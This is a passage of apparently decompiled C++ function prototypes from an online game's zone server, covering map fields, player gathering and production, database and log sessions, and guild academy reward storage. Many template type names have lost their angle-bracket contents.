EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock); void __thiscall Name8::Name8(Name8 *this, const char *str); int __thiscall Name8::operator__(Name8 *this, Name8 *nm); void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this); void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist); void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid); void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to); void __thiscall MapSubString::mss_Home(MapSubString *this); char *__thiscall MapSubString::mss_Get(MapSubString *this); char __thiscall MapSubString::mss_Next(MapSubString *this); signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg); int __thiscall FieldMap::fm_MoveCenter(int this, int xy); bool __thiscall FieldMap::fm_InMap(int this, int x, int y); void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this); char __thiscall AxialListNumberCount::ali_Work(AxialListNumberCount *this, #593 *, #593 *, unsigned int); char __thiscall FieldMap::fm_Set_MIDMap(int this); char __thiscall FieldMap::fm_Get_IsMIDMap(int this); __int16 __thiscall FieldMap::fm_Set_MIDMaxUser(int this, __int16 nMaxUser); int __stdcall ShineObjectClass::ShineObject::so_ply_GetMIDPlayerInfo(int a1); void __thiscall FieldMap::fm_SetCurFieldPKType(void *this, signed int eFType); char __thiscall FieldMap::fm_IsPkToggleField(int this); char __thiscall FieldMap::fm_IsGuildWarField(int this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, int dx, int dy); void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); void __thiscall FieldMap::fm_Relink(void *this, const char *from); void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx); void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int ply, int mob); void __thiscall FieldMap::fm_GuildCollectClear(void *this); void __thiscall FieldMap::fm_GuildCollectSet(void *this, int gld, int xy); void __thiscall FieldMap::fm_GuildCollectLocation(void *this, int gld, int lnkinf); signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this); char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b); int __thiscall FieldMap::fm_GetSaveLinktoData(void *this); void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo); Name8 *__thiscall FieldMap::fm_GetDoorBlockCheckSum(void *this); int __thiscall FieldMap::fm_GetCenterObject(void *this); char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity); char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)); void __thiscall List::l_Clear(List *this); int __thiscall FieldMap::fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms); void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, FieldMap::MIDPlayerInfo *_Val); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world); int __thiscall FieldMap::fm_Get_MIDPlayerInfoList(int this, int a2, int nCharNo); char __thiscall FieldMap::fm_Set_MIDPlayerInfoList(int this, int a2); void __thiscall FieldMap::fm_Clear_MIDPlayerInfoList(int this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMIDPlayerInfo(void *this, int a2); char __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMIDPlayerInfo(int this, int pSetData); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this); std::list >::iterator *__thiscall std::list>::erase(std::list > *this, std::list >::iterator *result, std::list >::iterator _Where); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, ABSTATEINDEX *_Keyval); bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx); void *__thiscall FieldMap::fm_Delete_MIDPlayerInfoList(int this, int nCharNo); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, ABSTATEINDEX *_Val); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::vector>::_Xlen(std::vector > *this); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, ABSTATEINDEX *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val); void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx); void __thiscall FieldContainer::fc_AbstateInFieldLoad(FieldContainer *this); void __thiscall FieldMap::fm_Insert_MIDLinkToIPlayerList(int this, int nCharNo); char __thiscall FieldMap::fm_Insert_MIDPlayerInfoList(int this, int nCharNo); bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall FieldMap::_FieldMap(int this); void __thiscall FieldContainer::_FieldContainer(FieldContainer *this); int __thiscall FieldMap::fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak int __thiscall FieldMap::FieldMap(_DWORD, _DWORD); // weak int __thiscall ShineObjectClass::ShineObject::so_MapMarking(_DWORD, _DWORD); // weak void __thiscall FieldContainer::FieldContainer(FieldContainer *this); #1265 *__thiscall FieldContainer::fc_FindMap(FieldContainer *this, const char *pkName); signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this); char __thiscall List::l_PushA(List *this, #1265 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall FieldMap::operator_(int this, int a2); std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result); void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); // void __usercall _L195467(int a1); std::list,std::allocator > > *__thiscall std::list>::operator_(std::list,std::allocator > > *this, int a2); void __thiscall std::list>::_Insert>::const_iterator>(std::list > *ecx0, std::_List_nod >::_Node *_Next, int result, int a4, int a5); std::list,std::allocator > > *__thiscall std::list>::operator_(std::list,std::allocator > > *this, int a2); void __thiscall std::list>::_Insert>::const_iterator>(std::list > *ecx0, std::_List_nod >::_Node *_Next, int result, int a4, int a5); char __thiscall List::l_PushZ(List *this, #1265 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, #1265 *ele); char __thiscall List::l_PopZ(List *this, #1265 *ele); void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this); void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc); void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname); void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall GameDBSession::GameDBSession(GameDBSession *this); void __thiscall GameDBSession::_GameDBSession(GameDBSession *this); void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::GameLogSession(GameLogSession *this); void __thiscall GameLogSession::_GameLogSession(GameLogSession *this); void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall AxialListNearScanNPC::AxialListNearScanNPC(AxialListNearScanNPC *this); void __thiscall AxialListNearScanNPC::_AxialListNearScanNPC(AxialListNearScanNPC *this); UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm); void __thiscall AxialListNearScan::alns_Init(AxialListNearScan *this); SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this); void __thiscall MobDataBox::mdb_iter_home(GatherProduce::RecipeBook *this, int *sub); GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::rb_Get(GatherProduce::RecipeBook *this, int *sub); char __thiscall GatherProduce::RecipeBook::rb_Next(GatherProduce::RecipeBook *this, int *sub); char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #593 *, unsigned __int16); int __cdecl GatherProduce::RecipeBook::rb_Compare(const void *a, const void *b); unsigned int __thiscall CharaterSkillList::csl_GetProduceTotoalMastery(CharaterSkillList *this, TotalMasteryType MasType); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#593 *this, #734 *, unsigned __int16 *); char __thiscall ItemProducer::ip_GetRawData(ItemProducer *this, int nIndex, unsigned __int16 *pItemID, int *pnLot); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this); void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this); void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this); unsigned __int16 __thiscall CharaterSkillList::csl_PreProduceCheck(CharaterSkillList *this, #734 *, unsigned __int16, GatherProduce::RecipeBook::ProductIndex *); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker); unsigned __int16 __thiscall ShineObjectClass::ShineMob::so_mob_CanGathered(#734 *, unsigned __int16 *); int __thiscall ShineObjectClass::ShinePlayer::sp_GatherComplete(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemProducer::ItemProducer(ItemProducer *this, #734 *, ItemBag *, GatherProduce::RecipeBook::ProductIndex *); void __thiscall ItemProducer::_ItemProducer(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity); unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_ProductExecute(ItemProducer *this, #734 *, NETCOMMAND *, PROTO_NC_ITEMDB_PRODUCE_REQ *); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill); void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __cdecl ShineObjectClass::ShineMobileObject::smo_ProduceCastAbort(); void __thiscall ShineObjectClass::ShinePlayer::smo_ProduceCastAbort(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Cooking(void *ecx0, unsigned __int16 skill); void __thiscall GameDBSession::gds_NC_ITEMDB_COOKING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade); char __cdecl ShineObjectClass::ShineObject::so_ply_isGuildAcademyRewardStoreGrade(); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineGuildAcademyRewardStorageDeactive::lid_Call(ShineGuildAcademyRewardStorageDeactive *this, #593 *, unsigned __int16); void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff); char __thiscall ShineGuildAcademyGuildBuff::lid_Call(ShineGuildAcademyGuildBuff *this, #593 *, unsigned __int16); char __thiscall ShineGuildAcademyMasterBuff::lid_Call(ShineGuildAcademyMasterBuff *this, #593 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_ACADEMY_MASTER_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARDSTORAGE_GRADE_INFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_CLOSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_ACADEMY_REWARD_STORAGE_OPEN_REQ(void *this, int netcmd, int nGuildNo, __int16 handle); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *, unsigned __int16, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *), unsigned __int16 *hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *__thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, unsigned int guild, unsigned __int16 *storagehandle); // int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDeactivate(int a1, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreFill(void *sp, unsigned int inven); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle); int __thiscall Name4::operator__(Name4 *this, Name4 *nm); void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild); void __thiscall MoveManager::MoveManager(DiceTaiSai *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::_GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *lst, unsigned __int16 hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_StoreItem(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK *inven, #734 *sp); unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2); char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo); int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type); void __thiscall List::_List(List *this); void __thiscall ItemTotalInformation::iti_clear(ItemTotalInformation *this); void __thiscall ItemInventoryCell::iic_Clear(ItemInventoryCell *this); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::_GuildAcademyRewardStorageManager(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GuildAcademyRewardStorageError(void *this, __int16 err); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_WithdrawAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_DepositAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_ItemInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_RewardInfoZoneRngAtOther(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageWithdraw::ShineGuildAcademyRewardStorageWithdraw(ShineGuildAcademyRewardStorageWithdraw *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageDeposit::ShineGuildAcademyRewardStorageDeposit(ShineGuildAcademyRewardStorageDeposit *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageItemInfoZonRng::ShineGuildAcademyRewardStorageItemInfoZonRng(ShineGuildAcademyRewardStorageItemInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendItemInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG *ring); void __thiscall ShineGuildAcademyRewardStorageRewardInfoZonRng::ShineGuildAcademyRewardStorageRewardInfoZonRng(ShineGuildAcademyRewardStorageRewardInfoZonRng *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendRewardInfoZoneRng2Member(GuildAcademyRewardStorage::GuildAcademyRewardStorageManager *this, PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_REWARD_ZONE_RNG *ring); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned 